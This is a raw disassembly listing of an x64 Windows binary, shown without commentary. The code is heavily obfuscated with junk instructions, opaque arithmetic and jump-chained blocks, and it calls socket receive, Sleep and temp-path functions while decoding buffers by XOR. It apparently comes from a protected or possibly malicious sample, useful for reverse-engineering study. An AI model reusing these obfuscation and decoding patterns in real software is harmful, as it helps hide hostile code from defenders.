imul rcx
sar rdx, 0x10
sar rdx, 1
sar rdx, 1
xchg rdx, rdi
jmp 0x14009eb2a
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov dword [rsp - 0x28], 0x2a0a2c12
cqo
idiv rsi
add rcx, rax
mov dword [rsp - 0x44], 0x42026eb5
jmp 0x14009ee78
xor ecx, 0x746ca6b7
sub ecx, edx
mov dword [rsp - 0x1c], edi
call qword [sym.imp.KERNEL32.dll_Sleep]
dec r14d
test r14d, r14d
jmp 0x14009eddb
sub r15, 0x5942c8a
sub r15, 0x36fb0ec0
add r15, 0x3fcaa3ba
add r15, 0x16e3188a
add r15, 0x7fffffff
xor r15, 0x141f163b
jmp 0x14009ece9
inc r15
cmp word [rax + r15*2], 0
mov dword [rsp - 0x28], edx
jne 0x14009edc0
mov r8, r15
jmp 0x14009ee68
mov dword [rsp - 0x18], ecx
jg 0x14009e27b
nop
jmp 0x14009ec27
cmp rdx, 0x3e8
jge 0x14009ed86
mov dword [rsp - 0x3c], 0x156dfb00
mov ecx, 0x54421a09
jmp 0x14009eb98
xchg rsp, rax
mov rsp, rcx
xchg rsp, rax
sub rax, r8
mov dword [rsp - 0x18], edx
jmp 0x14009ec4b
sub r8, r9
lea r8, [r8*2 + 2]
xchg r14, rdx
mov r14, rbx
xchg r14, rdx
call fcn.1400ead90
mov eax, 0x2861fc9c
jmp 0x14009ebd4
sub ecx, 0x206a77f7
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rax, [rbp + 0x10]
xchg r15, r15
nop dword [rax]
jmp 0x14009edc0
mov dword [rsp - 0x34], 0x256e7c72
jmp 0x14009efb1
lea rdx, [rbp + 0x10]
mov r8, r8
lea rcx, [rbp - 0x10]
jmp 0x14009eb7f
sub rcx, rbx
movabs rax, 0x431bde8265293b23
sub rax, 0x3853563f
sub rax, 0x2c0c2b83
add rax, 0x13d5abb
add rax, 0x44d2ad52
jmp 0x14009ed28
mov eax, 0x29b95f46
add eax, 0x3c4a882e
sub eax, 0x1bf7ac02
add eax, 0xffca1fa
sub eax, 0x29ec514c
xor eax, 0x66cfb58a
jmp 0x14009effd
mov rbp, rbp
xchg r12, rax
mov r9, r12
xchg r12, rax
xchg rdx, r8
mov r8, qword [rax + 0x10]
xchg r8, rdx
jmp 0x14009eede
cmp qword [rax + 0x18], 8
mov dword [rsp - 0x24], edi
jb 0x14009efe1
mov r9, qword [rax]
jmp 0x14009efe1
mov edx, eax
lea rcx, [rsp + 0x38]
call fcn.1400b4840
jmp 0x14009eec5
mov rax, r15
xchg r8, r15
sub rax, rcx
mov rdi, rdi
jmp 0x14009ef17
cmp rdx, rax
ja 0x14009f043
lea rsi, [rcx + rdx]
mov qword [rbp], rsi
mov dword [rsp - 0xc], ecx
lea rbx, [rbp - 0x10]
cmp r8, 8
jmp 0x14009ef39
cmovae rbx, qword [rbp - 0x10]
lea rcx, [rbx + rcx*2]
mov dword [rsp - 0x10], 0x6cdb5f8
lea r8, [rdx + rdx]
xchg rdx, rsi
jmp 0x14009efcd
add qword [rsp + 0x20], 0xe008795
add qword [rsp + 0x20], 0x72ff6b7
sub qword [rsp + 0x20], 0x850c0ed
add qword [rsp + 0x20], 0x5a8683cb
xor qword [rsp + 0x20], 0x7fc2db40
xor r8d, r8d
jmp 0x14009f034
add edx, 0x154f59c7
xor edx, 0x3cfaab2c
lea ecx, [rdx - 4]
call fcn.1400c4330
mov dword [rsp - 0x38], 0x5f018c5
jmp 0x14009eef5
call fcn.14001e670
mov edx, 0x41fcc711
add edx, 0x16c7f7c6
sub edx, 0x5379f72b
add edx, 0x226089b3
jmp 0x14009ef8b
mov rsi, r9
xchg rsi, rdx
call fcn.1400ead90
mov word [rbx + rsi*2], di
jmp 0x14009f12d
xchg rdi, rcx
mov rdi, qword [rbp]
xchg rdi, rcx
xchg rdi, r8
mov rdi, qword [rbp + 8]
xchg rdi, r8
xchg r8, r15
jmp 0x14009ef06
sub eax, 0x5679922
sub eax, 0x516ba02c
mov word [rsp + 0x28], ax
mov dword [rsp - 0x44], 0x87b37ac
mov qword [rsp + 0x20], 0x6b1d700c
xor qword [rsp + 0x20], 0x26b6913e
xor qword [rsp + 0x20], 0x55f77b25
jmp 0x14009ef56
mov rsp, rsp
lea edx, [rax - 0x5b]
lea rcx, [rbp - 0x10]
jmp 0x14009efac
xchg rdx, r9
mov qword [rsp + 0x20], r9
xchg rdx, r9
xor r8d, r8d
mov r13, r13
lea rcx, [rbp - 0x10]
call fcn.140015320
jmp 0x14009f12c
cmp rdx, 8
jb 0x14009f13a
lea rdx, [rdx*2 + 2]
xchg r11, r11
mov rcx, qword [rsp + 0x38]
jmp 0x14009f0bf
sub ecx, 0x35e9f1bc
call fcn.1400e8b94
xchg r13, r13
jmp 0x14009f162
call fcn.140042d00
xchg r9, rax
mov rdx, r9
xchg r9, rax
jmp 0x14009f1b5
call fcn.1400eb440
lea rdx, [rbp - 0x10]
xchg rsp, rsp
xchg r12, rcx
mov r12, rbx
xchg rcx, r12
jmp 0x14009f094
xchg rcx, r13
mov rax, r13
xchg rcx, r13
cmp rdx, 0x1000
jb 0x14009f122
mov dword [rsp - 0x1c], ebx
jmp 0x14009f0de
sub rdx, 0xffffffffffffffd9
mov rcx, qword [rcx - 8]
sub rax, rcx
neg rax
add rax, 8
neg rax
cmp rax, 0x1f
jmp 0x14009f119
mov r12, r12
je 0x14009f1ac
xor edx, edx
mov r8d, 0x717fb542
xor r8d, 0x19990774
jmp 0x14009f171
xchg r8, r8
ja 0x14009fcec
call fcn.1400e8bd0
jmp 0x14009f13a
nop
mov rdx, qword [rsp + 0x50]
mov r15, r15
jmp 0x14009f062
mov ecx, 0x2b5d9dd5
add ecx, 0xb188cb9
add ecx, 0x344526f
add ecx, 0x27059156
sub ecx, 0x22c60f33
xor ecx, 0x8100d7c
jmp 0x14009f081
mov rbx, rax
mov qword [rbp - 0x30], rax
test rax, rax
jmp 0x14009f0fc
add r8d, 0x155d39c8
sub r8d, 0x20425ed8
add r8d, 0x2c72e7a
jmp 0x14009f18b
sub r8d, 0x59349728
add r8d, 0xd92f3d7
sub r8d, 0x152717af
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
jmp 0x14009f0a5
xchg rdi, rdx
mov rdi, rdx
xchg rdx, rdi
mov qword [r13 + 0x30], rdx
jmp 0x14009f601
mov dword [rsp - 0xc], 0x2dcd30ff
mov rax, qword [r13 + 8]
mov rdx, qword [r13 + 0x30]
lea rcx, [r13 + 8]
test esi, esi
jmp 0x14009f33d
paddd xmm2, xmm5
mov dword [rsp - 0x2c], 0x55ac4532
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
jmp 0x14009f2c9
movups xmm0, xmmword [0x14011d000]
xchg rsp, rbp
movups xmmword [rbp + 0x60], xmm0
xchg rbp, rsp
movups xmm1, xmmword [0x14011d010]
jmp 0x14009f240
xchg rsi, rsi
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x14009f456
mov dword [rbp - 0x48], eax
xchg r12, r12
movzx eax, word [0x14011d05c]
mov word [rbp - 0x44], ax
cmp dword [0x1402557d0], 2
jmp 0x14009f3e1
xchg rbx, rsp
movups xmmword [rbx + 0x70], xmm1
xchg rsp, rbx
movups xmm0, xmmword [0x14011d020]
jmp 0x14009f414
mov r10, r10
nop dword [rax + rax]
mov eax, 0x4eca0f32
xor eax, 0x403bbac6
xor eax, 0x22d623c2
jmp 0x14009f2ab
jmp 0x14009fbdb
mov rbp, qword [r13 + 0x30]
xchg rbp, rcx
call fcn.1400ad930
jmp 0x14009f397
mov r12, r12
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, di
jmp 0x14009f5ce
mov eax, edx
shr eax, 8
shr eax, 1
shr eax, 5
jmp 0x14009f5ed
add eax, 0xdc41f60
sub eax, 0x184c54b4
add eax, 0x2ba9130b
imul edi
mov r9, r9
sar edx, 3
sar edx, 1
jmp 0x14009f29c
pmuldq xmm1, xmm4
mov rcx, rcx
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
jmp 0x14009f20f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
mov dword [rsp - 0x14], 0x40c64ac1
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
jmp 0x14009f572
xor r9d, 0x14dfa17
lea r8d, [r9 + 0x7d]
mov r10, r10
xchg rcx, rbp
jmp 0x14009f27a
mov dword [rsp - 0x38], edi
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
jmp 0x14009f373
mov dword [rsp - 0x24], 0x2b39c982
jns 0x14009f6ba
call qword [rax + ioctlsocket]
mov dword [rsp + 0x28], 0x39c259b2
sub dword [rsp + 0x28], 0x3227c554
xor dword [rsp + 0x28], 0x7d44843f
xor dword [rsp + 0x28], 0x164c989c
jmp 0x14009f661
mov dword [rsp - 0x10], esp
pxor xmm3, xmm0
movq qword [rcx], xmm3
jmp 0x14009f3c8
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x14009f322
xchg rbp, rbp
test eax, eax
js 0x14009f1f2
xchg rbp, rcx
mov rbp, qword [r13 + 0x30]
xchg rcx, rbp
call fcn.140043ae0
jmp 0x14009f616
mov rbx, rbx
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
nop
jmp 0x14009f4bd
lea eax, [rdi + 4]
movd xmm2, eax
mov dword [rsp - 0x14], edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
jmp 0x14009f551
mov dword [rsp - 0x2c], 0x4725365b
jl 0x14009f480
movdqa xmm5, xmmword [0x140118390]
movdqa xmm4, xmmword [0x1401194f0]
movd xmm6, r12d
xchg rbx, rbx
movdqa xmm7, xmmword [str.5555]
jmp 0x14009f429
mov dword [rsp - 0x40], 0x4a9917a7
xchg rbp, r9
movups xmmword [r9 - 0x80], xmm0
jmp 0x14009f589
movd xmm8, r14d
movdqa xmm9, xmmword [0x14011a260]
lea rcx, [rsp + 0x60]
mov dword [rsp - 0x18], 0x3684eb3a
nop dword [rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
jmp 0x14009f1d9
mov dword [rsp - 0x24], 0x3892ecc9
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov rbp, rbp
jmp 0x14009f384
cmp edi, 0x2f
jge 0x14009f4b3
xchg rsi, rsi
movsxd rax, edi
lea r8, [rsp + 0x60]
lea r8, [r8 + rax*2]
jmp 0x14009f256
mov rcx, rcx
xchg rbx, rbp
movups xmmword [rbx - 0x60], xmm0
jmp 0x14009f5ad
inc edi
lea r8, [r8 + 2]
cmp edi, 0x2f
jl 0x14009f261
mov dword [rsp - 0x34], edi
lea rcx, [rsp + 0x60]
jmp 0x14009f275
add edi, 0x3f9161ca
sub edi, 0x3f9161c2
lea rcx, [rcx + 0x10]
mov dword [rsp - 0x14], 0x63aabfe6
cmp edi, 0x28
jl 0x14009f448
jmp 0x14009f474
xor dword [rsp + 0x20], 0x13450a62
sub dword [rsp + 0x20], 0x5f9afc1b
mov edx, 0xea77108
add edx, 0x218431f
sub edx, 0xb274f99
add edx, 0x72448a0b
sub edx, 0x41d6a719
jmp 0x14009f634
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x18], edi
psrld xmm0, xmm8
jmp 0x14009f2e3
sub dword [rsp + 0x20], 0x53f37bad
add dword [rsp + 0x20], 0x2cc6cefb
xor dword [rsp + 0x20], 0x18f23880
jmp 0x14009f4e3
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
mov r11, r11
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov dword [rsp - 0x3c], ecx
jmp 0x14009f515
mov dword [rsp - 0x18], ebp
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
jmp 0x14009f3b6
xchg rbp, r9
movups xmm1, xmmword [0x14011d030]
mov rbx, rbx
xchg rbp, r13
movups xmmword [r13 - 0x70], xmm1
xchg rbp, r13
movups xmm0, xmmword [0x14011d040]
jmp 0x14009f491
xchg rbx, rbp
movsd xmm1, qword [0x14011d050]
xchg rbx, rbp
movsd qword [rbx - 0x50], xmm1
xchg rbp, rbx
mov eax, dword [0x14011d058]
jmp 0x14009f223
mov dword [rsp - 0x34], 0x19fd6419
sub ax, cx
add ax, 0x1487
sub ax, 0x1455
xor word [r8], ax
xchg r8, r8
jmp 0x14009f4a0
shr eax, 8
shr eax, 4
shr eax, 1
shr eax, 3
shr eax, 1
add edx, eax
jmp 0x14009f28b
mov dword [rsp - 0x1c], 0x5f7a9d48
xchg r14, rax
mov r14, qword [r13 + 8]
xchg r14, rax
jmp 0x14009f69e
mov rcx, qword [r13 + 0x30]
mov dword [rsp - 0x10], edx
call fcn.1400ad8e0
mov rcx, qword [r13 + 0x30]
call fcn.1400addf0
mov r15, r15
jmp 0x14009f1f2
sub edx, 0x35f445e1
mov r9d, 0x782097a
add r9d, 0x7dc197d
add r9d, 0x301a4cd1
xor r9d, 0xd63bd1b
sub r9d, 0x30cdd8bf
jmp 0x14009f30c
sub dword [rsp + 0x28], 0x509a5add
add dword [rsp + 0x28], 0x55cabcf5
add dword [rsp + 0x28], 0xadc434f
sub dword [rsp + 0x28], 0x7c9f2e54
mov dword [rsp + 0x20], 0x34a5e6a5
add dword [rsp + 0x20], 0x25e16823
add dword [rsp + 0x20], 0x20d32ce8
jmp 0x14009f534
mov r8d, dword [0x140257b98]
mov dword [rsp - 0x34], 0x237e2273
lea rcx, [r13 + 8]
call qword [rax]
mov esi, eax
jmp 0x14009f1be
call qword [rax + reloc.WS2_32.dll_recv]
mov esi, eax
test eax, eax
jmp 0x14009f725
movups xmm0, xmmword [0x14011d060]
xchg rsp, r13
movups xmmword [r13 + 0x60], xmm0
xchg r13, rsp
movups xmm1, xmmword [0x14011d070]
xchg rdx, rsp
jmp 0x14009f7b5
mov word [rbp - 0x60], ax
mov dword [rsp - 0x24], 0x2ff9e677
cmp dword [0x1402557d0], 2
jl 0x14009f7a1
movdqa xmm5, xmmword [0x140118390]
mov rsi, rsi
jmp 0x14009f874
mov rsp, rsp
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x14009fb72
mov r13, r13
jns 0x14009f7d5
mov rax, qword [r13 + 8]
xchg rdx, r9
jmp 0x14009f931
add dword [rsp + 0x28], 0xcc3d331
add dword [rsp + 0x28], 0x9f1eb1e
sub dword [rsp + 0x28], 0x45e574a5
mov dword [rsp + 0x20], 0x47d5ffa3
add dword [rsp + 0x20], 0x31bac92b
sub dword [rsp + 0x20], 0x5a391ff3
jmp 0x14009f8a9
xchg r9, r9
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
jmp 0x14009fae8
movd xmm2, edi
mov dword [rsp - 0xc], ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
jmp 0x14009faba
jge 0x14009fbd6
movsxd rax, edi
xchg rdi, rdi
lea r8, [rsp + 0x60]
lea r8, [r8 + rax*2]
jmp 0x14009f9ad
movups xmmword [rdx + 0x70], xmm1
xchg rsp, rdx
movups xmm0, xmmword [0x14011d080]
mov rsi, rsi
jmp 0x14009fa51
mov dword [rsp - 0x2c], edx
call fcn.1400ad210
nop
xchg rdx, r15
mov r15, qword [rbp + 8]
xchg rdx, r15
cmp rdx, 8
jmp 0x14009fa78
xor dword [rsp + 0x20], 0x499a58f4
mov edx, 0x6af445bb
sub edx, 0x297aea72
add edx, 0x1c2dc545
xor edx, 0x50a26ba
add edx, 0xe00cbcb
sub edx, 0x328d8973
jmp 0x14009f8e4
mov rbp, qword [r13 + 0x30]
xchg rcx, rbp
call fcn.140043ae0
xchg rbp, rcx
jmp 0x14009f980
xchg rdx, rdx
xchg rcx, rbp
mov rbp, qword [r13 + 0x30]
xchg rcx, rbp
call fcn.1400addf0
mov rsp, rsp
jmp 0x14009f6c6
shr eax, 0x1a
shr eax, 3
shr eax, 1
shr eax, 1
jmp 0x14009f95d
add ax, 0xffce
neg ax
xor word [r8], ax
inc edi
jmp 0x14009fbc6
xchg rcx, rdi
xchg rcx, rax
mov rcx, rax
jmp 0x14009fbe2
movdqa xmm4, xmmword [0x1401194f0]
movd xmm6, r12d
movdqa xmm7, xmmword [str.5555]
movd xmm8, r14d
mov dword [rsp - 0x28], 0x7abb471c
movdqa xmm9, xmmword [0x14011a260]
lea rcx, [rsp + 0x60]
jmp 0x14009f785
add dword [rsp + 0x20], 0xc323de1
add dword [rsp + 0x20], 0x29104d84
sub dword [rsp + 0x20], 0x49cd4c8d
xor dword [rsp + 0x20], 0x4356bf46
jmp 0x14009f7e8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
mov dword [rsp - 0x18], ebp
jmp 0x14009f991
xor edx, 0x356c964
sub edx, 0xe400125
sub edx, 0x29247f24
mov r9d, 0x62dafd92
xor r9d, 0x12b60729
xor r9d, 0x4612db1a
xor r9d, 0x4fd7d0cd
jmp 0x14009f9d4
nop
add rdx, 0x6fae168d
sub rdx, 0x6fae1666
mov rcx, qword [rcx - 8]
sub rax, rcx
jmp 0x14009fb3f
mov r9, qword [r13 + 0x30]
xchg rdx, r9
lea rcx, [r13 + 8]
mov rbx, rbx
jmp 0x14009fb96
add eax, 0x31d9c91c
sub eax, 0x16c95d5c
imul edi
mov r15, r15
sar edx, 4
mov eax, edx
jmp 0x14009f846
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
mov dword [rsp - 0x14], ecx
jmp 0x14009fa6a
ja 0x14009fcf7
call fcn.1400e8bd0
mov eax, esi
jmp 0x14009fc89
mov rbp, qword [r13 + 0x30]
xchg rbp, rcx
call fcn.1400ad8e0
jmp 0x14009f82c
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdi + 4]
movd xmm2, eax
mov rsp, rsp
pshufd xmm2, xmm2, 0
jmp 0x14009fa13
nop dword [rax + rax]
mov dword [rsp - 0x20], edx
mov eax, 0x5f287262
xor eax, 0xb4793fe
sub eax, 0x4072d582
add eax, 0x280e2047
xor eax, 0xe33244c
jmp 0x14009f944
sub r9d, 0x5f17766e
add r9d, 0x65411a1b
xor r9d, 0x319ca7b1
xor r9d, 0x6c85b56c
jmp 0x14009fad4
mov dword [rsp - 0x14], 0x589cb44f
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x14009f710
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
xchg r13, r13
pmuldq xmm1, xmm4
jmp 0x14009fa2c
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r13, r13
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov dword [rsp - 0x2c], 0x30e76645
jmp 0x14009fbf6
xchg rbp, rdx
movups xmmword [rdx - 0x80], xmm0
xchg rbp, rdx
movups xmm1, xmmword [0x14011d090]
mov rbp, rbp
jmp 0x14009fb28
movzx eax, di
sub ax, cx
neg ax
jmp 0x14009f855
mov r14, r14
jb 0x14009f979
lea rdx, [rdx*2 + 2]
xchg rdi, rcx
mov rdi, qword [rbp - 0x10]
jmp 0x14009f867
mov dword [rsp - 0x10], 0x5f070af7
call fcn.1400ad930
test eax, eax
js 0x14009f6c6
mov dword [rsp - 0x28], 0x682fc053
xchg rbp, rcx
jmp 0x14009f818
movdqa xmm1, xmm2
mov dword [rsp - 0x1c], esp
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
jmp 0x14009f9f5
sub r9d, 0x22ca87c1
lea r8d, [r9 + 0x7d]
mov rcx, qword [r13 + 0x30]
jmp 0x14009fa95
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x18], 0x3fc5fdf0
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
mov dword [rsp - 0x34], ebx
jmp 0x14009fb5b
sub edi, 0xfffffff8
lea rcx, [rcx + 0x10]
cmp edi, 0x20
jl 0x14009f785
mov dword [rsp - 0x3c], edi
cmp edi, 0x21
jmp 0x14009f79b
xchg r11, rbp
movups xmmword [r11 - 0x70], xmm1
xchg r11, rbp
movzx eax, word [0x14011d0a0]
jmp 0x14009f6e7
xchg rcx, rcx
nop
sub rax, 0xffffffff8f0f9b74
add rax, 0xffffffff8f0f9b6c
cmp rax, 0x1f
mov r13, r13
jmp 0x14009f96e
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
mov dword [rsp - 0x1c], edx
jmp 0x14009fb0c
pmulld xmm0, xmm7
mov r12, r12
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x24], edi
pshufd xmm3, xmm1, 0xd8
jmp 0x14009f8ce
call qword [rax + ioctlsocket]
mov dword [rsp + 0x28], 0x1fbe83ae
xor dword [rsp + 0x28], 0x4bd34af4
xor dword [rsp + 0x28], 0xd71d301
add dword [rsp + 0x28], 0x1348c65e
sub dword [rsp + 0x28], 0x3d352a53
jmp 0x14009f73a
lea r8, [r8 + 2]
xchg rbx, rbx
cmp edi, 0x21
jl 0x14009f9b6
lea rcx, [rsp + 0x60]
mov edx, esi
jmp 0x14009f7cb
xchg rcx, rax
cmp rdx, 0x1000
jb 0x14009f974
jmp 0x14009f916
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x14009f76f
lea rcx, [0x140118787]
call fcn.1400aff40
mov dword [rsp - 0x44], 0x262d4a69
jmp 0x14009fc21
mov eax, 0x28cc6a
xor eax, 0x56dc8cae
xor eax, 0x13aade32
xor eax, 0x1e8b2a8f
add eax, 0x1aa1e7bc
sub eax, 0x1e142541
jmp 0x14009fc84
nop
mov r13, qword [rsp]
add rsp, 8
nop
mov r12, qword [rsp]
jmp 0x14009fca3
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov r14, r14
jmp 0x14009fcc9
xchg rbx, rbx
mov rsp, r11
pop r15
nop
add rsp, 8
mov r14, qword [rsp - 8]
jmp 0x14009fc44
add eax, 0x679c890d
xchg rcx, rsp
mov rsp, qword [rbp + 0x220]
xchg rcx, rsp
xor rcx, rsp
call fcn.1400e8cf0
jmp 0x14009fcad
add rsp, 8
pop rbp
mov dword [rsp - 0x1c], ebx
ret
mov dword [rsp - 0x34], edi
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
xchg rsi, rsi
jmp 0x14009fc57
xchg r11, r15
movaps xmm8, xmmword [r15 - 0x30]
xchg r15, r11
movaps xmm9, xmmword [r11 - 0x40]
jmp 0x14009fc6d
call fcn.140039b30
nop
mov dword [rsp - 0x44], 0x1a849ded
call fcn.1400ef88c
nop
jmp 0x14009fcf7
call fcn.1400ef88c
int3